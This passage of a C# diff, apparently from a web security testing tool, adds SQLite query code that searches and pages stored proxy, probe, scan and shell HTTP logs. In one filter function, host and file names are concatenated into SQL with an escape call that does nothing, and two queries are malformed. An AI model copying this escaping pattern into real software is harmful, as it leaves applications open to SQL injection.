Query.MethodsToCheck.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@Method{0}", i), Query.MethodsToCheck[i]); + } + } + else if (Query.MethodsToIgnore.Count > 0) + { + for (int i = 0; i < Query.MethodsToIgnore.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@Method{0}", i), Query.MethodsToIgnore[i]); + } + } + + if (Query.HostNamesToCheck.Count > 0) + { + for (int i = 0; i < Query.HostNamesToCheck.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@HostName{0}", i), Query.HostNamesToCheck[i]); + } + } + else if (Query.HostNamesToIgnore.Count > 0) + { + for (int i = 0; i < Query.HostNamesToIgnore.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@HostName{0}", i), Query.HostNamesToIgnore[i]); + } + } + + if (Query.CodesToCheck.Count > 0) + { + for (int i = 0; i < Query.CodesToCheck.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@Code{0}", i), Query.CodesToCheck[i]); + } + } + else if (Query.CodesToIgnore.Count > 0) + { + for (int i = 0; i < Query.CodesToIgnore.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@Code{0}", i), Query.CodesToIgnore[i]); + } + } + + if (Query.FileExtensionsToCheck.Count > 0) + { + for (int i = 0; i < Query.FileExtensionsToCheck.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@File{0}", i), Query.FileExtensionsToCheck[i]); + } + } + else if (Query.FileExtensionsToIgnore.Count > 0) + { + for (int i = 0; i < Query.FileExtensionsToIgnore.Count; i++) + { + cmd.Parameters.AddWithValue(string.Format("@File{0}", i), Query.FileExtensionsToIgnore[i]); + } + } + + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + try + { + LogRow LR = new LogRow(); + try { LR.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + LR.Host = result["HostName"].ToString(); + LR.Method = result["Method"].ToString(); + LR.Url = result["URL"].ToString(); + LR.File = result["File"].ToString(); + LR.SSL = result["SSL"].ToString().Equals("1"); + LR.Parameters = result["Parameters"].ToString(); + try + { LR.Code = Int32.Parse(result["Code"].ToString()); } + catch { LR.Code = -1; } + try + { LR.Length = Int32.Parse(result["Length"].ToString()); } + catch { LR.Length = 0; } + LR.Mime = result["MIME"].ToString(); + LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + IronLogRecords.Add(LR); + } + catch { } + } + } + } + } + return IronLogRecords; + } + + + internal static string GetQueryWithoutIdsParts(LogSearchQuery Query) + { + string QueryFirstPart = string.Format("SELECT ID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse FROM {0} WHERE ", GetLogTableName(Query.LogSource)); + + StringBuilder SB = new StringBuilder(); + bool AndRequired = true; + + if (Query.HostNamesToCheck.Count > 0 || Query.HostNamesToIgnore.Count > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetHostNamesSearchQueryPart(Query)); + AndRequired = true; + } + + if (Query.CodesToCheck.Count > 0 || Query.CodesToIgnore.Count > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetCodesSearchQueryPart(Query)); + AndRequired = true; + } + + if (Query.FileExtensionsToCheck.Count > 0 || Query.FileExtensionsToIgnore.Count > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetFilesSearchQueryPart(Query)); + AndRequired = true; + } + + if (Query.MethodsToCheck.Count > 0 || Query.MethodsToIgnore.Count > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetMethodsSearchQueryPart(Query)); + AndRequired = true; + } + + if (Query.UrlMatchString.Length > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetUrlSearchQueryPart(Query.UrlMatchMode)); + AndRequired = true; + } + + if (Query.Keyword.Length > 0) + { + if (AndRequired) SB.Append(" AND "); + SB.Append(GetKeywordSearchQueryPart(Query.Keyword, Query.SearchRequestHeaders, Query.SearchRequestBody, Query.SearchResponseHeaders, Query.SearchResponseBody)); + AndRequired = true; + } + + StringBuilder FinalSB = new StringBuilder(); + FinalSB.Append(QueryFirstPart); FinalSB.Append(" {0} "); + FinalSB.Append(SB.ToString()); + return FinalSB.ToString(); + } + static string GetLogIdsRangeSearchQueryPart(int MinId, int MaxId) + { + return string.Format("(ID>{0} AND ID<{1})", MinId, MaxId); + } + static string GetLogIdsRangeSearchQueryPart(List Ids, int StartIndex, int Count) + { + StringBuilder SB = new StringBuilder(); + int Counter = 0; + for (int i = StartIndex; i < Ids.Count; i++) + { + if (Counter > Count) break; + if (SB.Length > 0) SB.Append(" OR "); + SB.Append(string.Format(" ID={0} ", Ids[i])); + Counter++; + } + return string.Format("({0})", SB.ToString()); + } + static string GetLogIdsRangeSearchQueryPart(int ScanID) + { + return string.Format("(ScanID={0})", ScanID); + } + static string GetHostNamesSearchQueryPart(LogSearchQuery Query) + { + List HostNames = new List(); + bool Negate = false; + if(Query.HostNamesToCheck.Count > 0) + { + HostNames = new List(Query.HostNamesToCheck); + Negate = false; + } + else if (Query.HostNamesToIgnore.Count > 0) + { + HostNames = new List(Query.HostNamesToIgnore); + Negate = true; + } + StringBuilder SB = new StringBuilder(); + for (int i=0; i< HostNames.Count ; i++) + { + if (SB.Length > 0) + { + if (Negate) + SB.Append(" AND "); + else + SB.Append(" OR "); + } + SB.Append("HostName"); + if (Negate) + SB.Append("!="); + else + SB.Append("="); + SB.Append(string.Format("@HostName{0}", i)); + } + return string.Format("({0})", SB.ToString()); + } + static string GetMethodsSearchQueryPart(LogSearchQuery Query) + { + List Methods = new List(); + bool Negate = false; + if (Query.MethodsToCheck.Count > 0) + { + Methods = new List(Query.MethodsToCheck); + Negate = false; + } + else if (Query.MethodsToIgnore.Count > 0) + { + Methods = new List(Query.MethodsToIgnore); + Negate = true; + } + StringBuilder SB = new StringBuilder(); + for (int i=0; i< Methods.Count ; i++) + { + if (SB.Length > 0) + { + if (Negate) + SB.Append(" AND "); + else + SB.Append(" OR "); + } + SB.Append("Method"); + if (Negate) + SB.Append("!="); + else + SB.Append("="); + SB.Append(string.Format("@Method{0}", i)); + } + return string.Format("({0})", SB.ToString()); + } + static string GetCodesSearchQueryPart(LogSearchQuery Query) + { + List Codes = new List(); + bool Negate = false; + if (Query.CodesToCheck.Count > 0) + { + Codes = new List(Query.CodesToCheck); + Negate = false; + } + else if (Query.CodesToIgnore.Count > 0) + { + Codes = new List(Query.CodesToIgnore); + Negate = true; + } + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Codes.Count; i++) + { + if (SB.Length > 0) + { + if (Negate) + SB.Append(" AND "); + else + SB.Append(" OR "); + } + SB.Append("Code"); + if (Negate) + SB.Append("!="); + else + SB.Append("="); + SB.Append(string.Format("@Code{0}", i)); + } + return string.Format("({0})", SB.ToString()); + } + static string GetFilesSearchQueryPart(LogSearchQuery Query) + { + List Files = new List(); + bool Negate = false; + if (Query.FileExtensionsToCheck.Count > 0) + { + Files = new List(Query.FileExtensionsToCheck); + Negate = false; + } + else if (Query.FileExtensionsToIgnore.Count > 0) + { + Files = new List(Query.FileExtensionsToIgnore); + Negate = true; + } + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Files.Count; i++) + { + if (SB.Length > 0) + { + if (Negate) + SB.Append(" AND "); + else + SB.Append(" OR "); + } + SB.Append("File"); + if (Negate) + SB.Append("!="); + else + SB.Append("="); + SB.Append(string.Format("@File{0}", i)); + } + return string.Format("({0})", SB.ToString()); + } + static string GetUrlSearchQueryPart(int UrlMatchType) + { + switch (UrlMatchType) + { + //match + case(0): + case(2): + case(3): + return "URL LIKE @UrlMatchKeyword"; + //don't match + case (1): + return "URL NOT LIKE @UrlMatchKeyword"; + //equal + case (4): + return "URL = @UrlMatchKeyword"; + //not equal + case (5): + return "URL != @UrlMatchKeyword"; + default: + return ""; + } + } + static string GetUrlSearchQueryValuePart(int UrlMatchType, string Keyword) + { + switch (UrlMatchType) + { + //match and dont match + case (0): + case (1): + return string.Format("%{0}%", Keyword); + //starts with + case (2): + return string.Format("{0}%", Keyword); + //ends with + case (3): + return string.Format("%{0}", Keyword); + //equal and not equal + case (4): + return Keyword; + default: + return ""; + } + } + static string GetKeywordSearchQueryPart(string Keyword, bool RequestHeaders, bool RequestBody, bool ResponseHeaders, bool ResponseBody) + { + StringBuilder SB = new StringBuilder(); + if (RequestHeaders) + { + SB.Append(" RequestHeaders LIKE @Keyword "); + } + if (ResponseHeaders) + { + if (SB.Length > 0) SB.Append(" OR "); + SB.Append(" ResponseHeaders LIKE @Keyword "); + } + if (RequestBody) + { + if (SB.Length > 0) SB.Append(" OR "); + SB.Append(" (RequestBody LIKE @Keyword AND BinaryRequest != 1) "); + } + if (ResponseBody) + { + if (SB.Length > 0) SB.Append(" OR "); + SB.Append(" (ResponseBody LIKE @Keyword AND BinaryResponse != 1) "); + } + return string.Format("({0})", SB.ToString()); + } + #endregion + + static string GetLogSourceFileName(string LogName) + { + switch (LogName) + { + case("Proxy"): + return ProxyLogFile; + case("Probe"): + return ProbeLogFile; + case ("Test"): + return TestLogFile; + case ("Shell"): + return ShellLogFile; + case ("Scan"): + return ScanLogFile; + default: + return GetOtherSourceLogFileName(LogName); + } + } + static string GetLogTableName(string LogName) + { + switch (LogName) + { + case ("Proxy"): + return "ProxyLog"; + case ("Probe"): + return "ProbeLog"; + case ("Test"): + return "TestLog"; + case ("Shell"): + return "ShellLog"; + case ("Scan"): + return "ScanLog"; + default: + return "Log"; + } + } + + internal static IronLogRecord GetRecordFromProxyLog(int ID) + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = "SELECT SSL, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip FROM ProxyLog WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd,ID, true); + } + internal static IronLogRecord GetRecordFromTestLog(int ID) + { + string DataSource = "data source=" + TestLogFile; + string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM TestLog WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd, ID, false); + } + internal static IronLogRecord GetRecordFromShellLog(int ID) + { + string DataSource = "data source=" + ShellLogFile; + string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ShellLog WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd, ID, false); + } + internal static IronLogRecord GetRecordFromProbeLog(int ID) + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ProbeLog WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd, ID, false); + } + internal static IronLogRecord GetRecordFromScanLog(int ID) + { + string DataSource = "data source=" + ScanLogFile; + string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ScanLog WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd, ID, false); + } + internal static IronLogRecord GetRecordFromOtherSourceLog(int ID, string Source) + { + string DataSource = "data source=" + GetOtherSourceLogFileName(Source); + string Cmd = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Log WHERE ID=@ID LIMIT 1"; + return GetRecordFromDB(DataSource, Cmd, ID, false); + } + + static IronLogRecord GetRecordFromDB(string DataSource, string CmdString, int ID, bool IsProxyLog) + { + IronLogRecord ILR = new IronLogRecord(); + + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using(SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (!result.HasRows) + { + throw new Exception("ID not found in DB"); + } + ILR.RequestHeaders = result["RequestHeaders"].ToString(); + ILR.RequestBody = result["RequestBody"].ToString(); + ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); + ILR.ResponseBody = result["ResponseBody"].ToString(); + //ILR.SSL = (result["SSL"].ToString().Equals("1")); + ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); + ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); + try + { + ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + if (IsProxyLog) + { + ILR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); + ILR.OriginalRequestBody = result["OriginalRequestBody"].ToString(); + ILR.IsOriginalRequestBinary = (result["BinaryOriginalRequest"].ToString().Equals("1")); + ILR.OriginalResponseHeaders = result["OriginalResponseHeaders"].ToString(); + ILR.OriginalResponseBody = result["OriginalResponseBody"].ToString(); + ILR.IsOriginalResponseBinary = (result["BinaryOriginalResponse"].ToString().Equals("1")); + } + } + } + } + return ILR; + } + + internal static List GetRecordsFromProxyLog() + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = "SELECT ID, SSL, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip FROM ProxyLog"; + return GetRecordsFromDB(DataSource, Cmd, true); + } + internal static List GetRecordsFromTestLog() + { + string DataSource = "data source=" + TestLogFile; + string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM TestLog"; + return GetRecordsFromDB(DataSource, Cmd, false); + } + internal static List GetRecordsFromShellLog() + { + string DataSource = "data source=" + ShellLogFile; + string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ShellLog"; + return GetRecordsFromDB(DataSource, Cmd, false); + } + internal static List GetRecordsFromProbeLog() + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ProbeLog"; + return GetRecordsFromDB(DataSource, Cmd, false); + } + internal static List GetRecordsFromScanLog() + { + string DataSource = "data source=" + ScanLogFile; + string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM ScanLog"; + return GetRecordsFromDB(DataSource, Cmd, false); + } + internal static List GetRecordsFromOtherSourceLog(string Source) + { + string DataSource = "data source=" + GetOtherSourceLogFileName(Source); + string Cmd = "SELECT ID, RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Log"; + return GetRecordsFromDB(DataSource, Cmd, false); + } + + static List GetRecordsFromDB(string DataSource, string CmdString, bool IsProxyLog) + { + List IronLogRecords = new List(); + + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + try + { + IronLogRecord ILR = new IronLogRecord(); + try + { + ILR.ID = Int32.Parse(result["ID"].ToString()); + } + catch + { + ILR.ID = 0; + } + ILR.RequestHeaders = result["RequestHeaders"].ToString(); + ILR.RequestBody = result["RequestBody"].ToString(); + ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); + ILR.ResponseBody = result["ResponseBody"].ToString(); + //ILR.SSL = (result["SSL"].ToString().Equals("1")); + ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); + ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); + try + { + ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + if (IsProxyLog) + { + ILR.OriginalRequestHeaders = result["OriginalRequestHeaders"].ToString(); + ILR.OriginalRequestBody = result["OriginalRequestBody"].ToString(); + ILR.IsOriginalRequestBinary = (result["BinaryOriginalRequest"].ToString().Equals("1")); + ILR.OriginalResponseHeaders = result["OriginalResponseHeaders"].ToString(); + ILR.OriginalResponseBody = result["OriginalResponseBody"].ToString(); + ILR.IsOriginalResponseBinary = (result["BinaryOriginalResponse"].ToString().Equals("1")); + } + IronLogRecords.Add(ILR); + } + catch { } + } + } + } + } + return IronLogRecords; + } + + public static List GetRecordsFromProxyLog(int StartIndex, int Count) + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = "SELECT ID , SSL, HostName, Method, URL, Edited, File, Parameters, BinaryRequest, BinaryOriginalRequest, Code, Length, MIME, SetCookie, BinaryResponse, BinaryOriginalResponse, RoundTrip FROM ProxyLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, "proxy", StartIndex, Count); + } + public static List GetRecordsFromTestLog(int StartIndex, int Count) + { + string DataSource = "data source=" + TestLogFile; + string Cmd = "SELECT ID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM TestLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, "test", StartIndex, Count); + } + public static List GetRecordsFromShellLog(int StartIndex, int Count) + { + string DataSource = "data source=" + ShellLogFile; + string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ShellLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, "shell", StartIndex, Count); + } + public static List GetRecordsFromProbeLog(int StartIndex, int Count) + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ProbeLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, "probe", StartIndex, Count); + } + public static List GetRecordsFromScanLog(int StartIndex, int Count) + { + string DataSource = "data source=" + ScanLogFile; + string Cmd = "SELECT ID , ScanID, SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM ScanLog WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, "scan", StartIndex, Count); + } + public static List GetRecordsFromSelectedOtherSourceLog(int StartIndex, int Count) + { + return GetRecordsFromOtherSourceLog(StartIndex, Count, IronLog.SelectedOtherSource); + } + public static List GetRecordsFromOtherSourceLog(int StartIndex, int Count, string Source) + { + string DataSource = "data source=" + GetOtherSourceLogFileName(Source); + string Cmd = "SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM Log WHERE ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDB(DataSource, Cmd, Source, StartIndex, Count); + } + + static List GetRecordsFromDB(string DataSource, string CmdString, string LogType, int StartIndex, int Count) + { + List IronLogRecords = new List(); + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + cmd.Parameters.AddWithValue("@ID", StartIndex); + cmd.Parameters.AddWithValue("@LIMIT", Count); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + try + { + LogRow LR = new LogRow(); + try { LR.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + if (LogType.Equals("scan")) + { + try { LR.ScanID = Int32.Parse(result["ScanID"].ToString()); } + catch { continue; } + } + if (LogType.Equals("proxy")) LR.Editied = result["Edited"].ToString().Equals("1"); + LR.Host = result["HostName"].ToString(); + LR.Method = result["Method"].ToString(); + LR.Url = result["URL"].ToString(); + LR.File = result["File"].ToString(); + LR.SSL = result["SSL"].ToString().Equals("1"); + LR.Parameters = result["Parameters"].ToString(); + try + { LR.Code = Int32.Parse(result["Code"].ToString()); } + catch { LR.Code = -1; } + try + { LR.Length = Int32.Parse(result["Length"].ToString()); } + catch { LR.Length = 0; } + LR.Mime = result["MIME"].ToString(); + LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + try + { + LR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + + IronLogRecords.Add(LR); + } + catch { } + } + } + } + } + return IronLogRecords; + } + + public static List> GetUniqueHostsAndSslFromProxyLog() + { + return GetUniqueLogFieldValuesFromProxyLog(new List(){"HostName", "SSL"}); + } + + public static List GetUniqueHostsFromProxyLog() + { + return GetUniqueLogFieldValuesFromProxyLog("HostName"); + } + + public static List GetUniqueFilesFromProxyLog() + { + return GetUniqueLogFieldValuesFromProxyLog("File"); + } + + static List GetUniqueLogFieldValuesFromProxyLog(string FieldName) + { + return GetOneFieldValuesOnly(GetUniqueLogFieldValuesFromProxyLog(new List() { FieldName }), FieldName); + } + + static List> GetUniqueLogFieldValuesFromProxyLog(List FieldNames) + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = string.Format("SELECT DISTINCT {0} FROM ProxyLog", string.Join(", ", FieldNames.ToArray())); + return GetUniqueLogFieldValuesFromDB(DataSource, FieldNames, Cmd); + } + + public static List> GetUniqueHostsAndSslFromProbeLog() + { + return GetUniqueLogFieldValuesFromProbeLog(new List() { "HostName", "SSL" }); + } + + public static List GetUniqueHostsFromProbeLog() + { + return GetUniqueLogFieldValuesFromProbeLog("HostName"); + } + + public static List GetUniqueFilesFromProbeLog() + { + return GetUniqueLogFieldValuesFromProbeLog("File"); + } + + static List GetUniqueLogFieldValuesFromProbeLog(string FieldName) + { + return GetOneFieldValuesOnly(GetUniqueLogFieldValuesFromProbeLog(new List() { FieldName }), FieldName); + } + + static List> GetUniqueLogFieldValuesFromProbeLog(List FieldNames) + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = string.Format("SELECT DISTINCT {0} FROM ProbeLog", string.Join(", ", FieldNames.ToArray())); + return GetUniqueLogFieldValuesFromDB(DataSource, FieldNames, Cmd); + } + + static List GetOneFieldValuesOnly(List> FieldValues, string FieldName) + { + List Result = new List(); + foreach (Dictionary ResultItem in FieldValues) + { + try + { + Result.Add(ResultItem[FieldName]); + } + catch { } + } + return Result; + } + + static List> GetUniqueLogFieldValuesFromDB(string DataSource, List FieldNames, string CmdString) + { + List> LogFieldValues = new List>(); + using (SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + Dictionary ResultItem = new Dictionary(); + foreach(string FieldName in FieldNames) + { + try { ResultItem[FieldName] = result[FieldName].ToString(); } + catch { } + } + LogFieldValues.Add(ResultItem); + } + } + } + } + return LogFieldValues; + } + + internal static List GetRecordsFromProxyLogMatchingFilters(List Hosts, List Files, string CsrfTokenParameterName) + { + return GetRecordsFromLogMatchingFilters(Hosts, Files, CsrfTokenParameterName, "Proxy"); + } + + internal static List GetRecordsFromProbeLogMatchingFilters(List Hosts, List Files, string CsrfTokenParameterName) + { + return GetRecordsFromLogMatchingFilters(Hosts, Files, CsrfTokenParameterName, "Probe"); + } + + static List GetRecordsFromLogMatchingFilters(List Hosts, List Files, string CsrfTokenParameterName, string Source) + { + string DataSource = ""; + if (Source.Equals("Proxy")) + { + DataSource = "data source=" + ProxyLogFile; + } + else if (Source.Equals("Probe")) + { + DataSource = "data source=" + ProbeLogFile; + } + else + { + throw new Exception("Log source must either be Proxy or Probe"); + } + + StringBuilder SB = new StringBuilder(string.Format("SELECT ID , SSL, HostName, Method, URL, File, Parameters, BinaryRequest, Code, Length, MIME, SetCookie, BinaryResponse, RoundTrip FROM {0}Log WHERE (Code != 304) AND ", Source)); + if (Hosts.Count > 0) + { + SB.Append(" ( "); + for (int i = 0; i < Hosts.Count; i++) + { + SB.Append(string.Format("HostName='{0}'", Hosts[i].Replace("'", "\'"))); + if (i != Hosts.Count - 1) SB.Append(" OR "); + } + SB.Append(" ) "); + } + else + { + SB.Append(" (HostName LIKE '%') "); + } + SB.Append(" AND "); + if (Files.Count > 0) + { + SB.Append(" ( "); + for (int i = 0; i < Files.Count; i++) + { + SB.Append(string.Format("File='{0}'", Files[i].Replace("'", "\'"))); + if (i != Files.Count - 1) SB.Append(" OR "); + } + SB.Append(" ) "); + } + else + { + SB.Append(" (File LIKE '%') "); + } + if (CsrfTokenParameterName.Length > 0) + { + SB.Append(" AND "); + SB.Append("("); + SB.Append(string.Format("URL LIKE '{0}='", Tools.UrlEncode(CsrfTokenParameterName).Replace("'", "\'"))); + SB.Append(" OR "); + SB.Append("length(RequestBody) > 0"); + SB.Append(")"); + } + switch(Source) + { + case("Proxy"): + return GetRecordsFromDB(DataSource, SB.ToString(), "Proxy", 1, Config.LastProxyLogId); + case("Probe"): + return GetRecordsFromDB(DataSource, SB.ToString(), "Probe", 1, Config.LastProbeLogId); + } + return new List(); + } + + #region GetLastId + public static int GetLastProxyLogRowId() + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = "SELECT max(ID) FROM ProxyLog"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastProbeLogRowId() + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = "SELECT max(ID) FROM ProbeLog"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastScanLogRowId() + { + string DataSource = "data source=" + ScanLogFile; + string Cmd = "SELECT max(ID) FROM ScanLog"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastTestLogRowId() + { + string DataSource = "data source=" + TestLogFile; + string Cmd = "SELECT max(ID) FROM TestLog"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastShellLogRowId() + { + string DataSource = "data source=" + ShellLogFile; + string Cmd = "SELECT max(ID) FROM ShellLog"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastLogRowId(string Source) + { + string DataSource = "data source=" + GetOtherSourceLogFileName(Source); + string Cmd = "SELECT max(ID) FROM Log"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastTraceLogRowId() + { + string DataSource = "data source=" + TraceLogFile; + string Cmd = "SELECT max(ID) FROM Trace"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastScanTraceLogRowId() + { + string DataSource = "data source=" + TraceLogFile; + string Cmd = "SELECT max(ID) FROM ScanTrace"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastSessionPluginTraceLogRowId() + { + string DataSource = "data source=" + TraceLogFile; + string Cmd = "SELECT max(ID) FROM SessionPluginTrace"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastPluginResultLogRowId() + { + string DataSource = "data source=" + PluginResultsLogFile; + string Cmd = "SELECT max(ID) FROM Findings"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastExceptionLogRowId() + { + string DataSource = "data source=" + ExceptionsLogFile; + string Cmd = "SELECT max(ID) FROM Exceptions"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastScanJobRowId() + { + string DataSource = "data source=" + IronProjectFile; + string Cmd = "SELECT max(ScanID) FROM ScanQueue"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + public static int GetLastWorkflowId() + { + string DataSource = "data source=" + WorkflowLogFile; + string Cmd = "SELECT max(ID) FROM Workflows"; + return GetLastRowIdFromDB(DataSource, Cmd); + } + static int GetLastRowIdFromDB(string DataSource, string CmdString) + { + int LastRowId = 0; + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + try { LastRowId = Int32.Parse(result[0].ToString()); } + catch { } + break; + } + } + } + } + return LastRowId; + } + #endregion + + public static List GetRecordsFromProxyLogForUrl(string Host, string Url, int StartIndex, int Count) + { + string DataSource = "data source=" + ProxyLogFile; + string Cmd = "SELECT ID , SSL, Method, URL, File, Parameters, Code, Length, MIME, SetCookie, RoundTrip FROM ProxyLog WHERE HostName=@HostName and URL LIKE @URL ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDBForUrl(DataSource, Cmd, Host, Url, "proxy", StartIndex, Count); + } + public static List GetRecordsFromProbeLogForUrl(string Host, string Url, int StartIndex, int Count) + { + string DataSource = "data source=" + ProbeLogFile; + string Cmd = "SELECT ID , SSL, Method, URL, File, Parameters, Code, Length, MIME, SetCookie, RoundTrip FROM ProbeLog WHERE HostName=@HostName and URL LIKE @URL ID>@ID ORDER BY ID LIMIT @LIMIT"; + return GetRecordsFromDBForUrl(DataSource, Cmd, Host, Url, "probe", StartIndex, Count); + } + static List GetRecordsFromDBForUrl(string DataSource, string CmdString, string Host, string Url, string LogType, int StartIndex, int Count) + { + List IronLogRecords = new List(); + using(SQLiteConnection DB = new SQLiteConnection(DataSource)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = CmdString; + cmd.Parameters.AddWithValue("@HostName", Host); + cmd.Parameters.AddWithValue("@URL", Url); + cmd.Parameters.AddWithValue("@ID", StartIndex); + 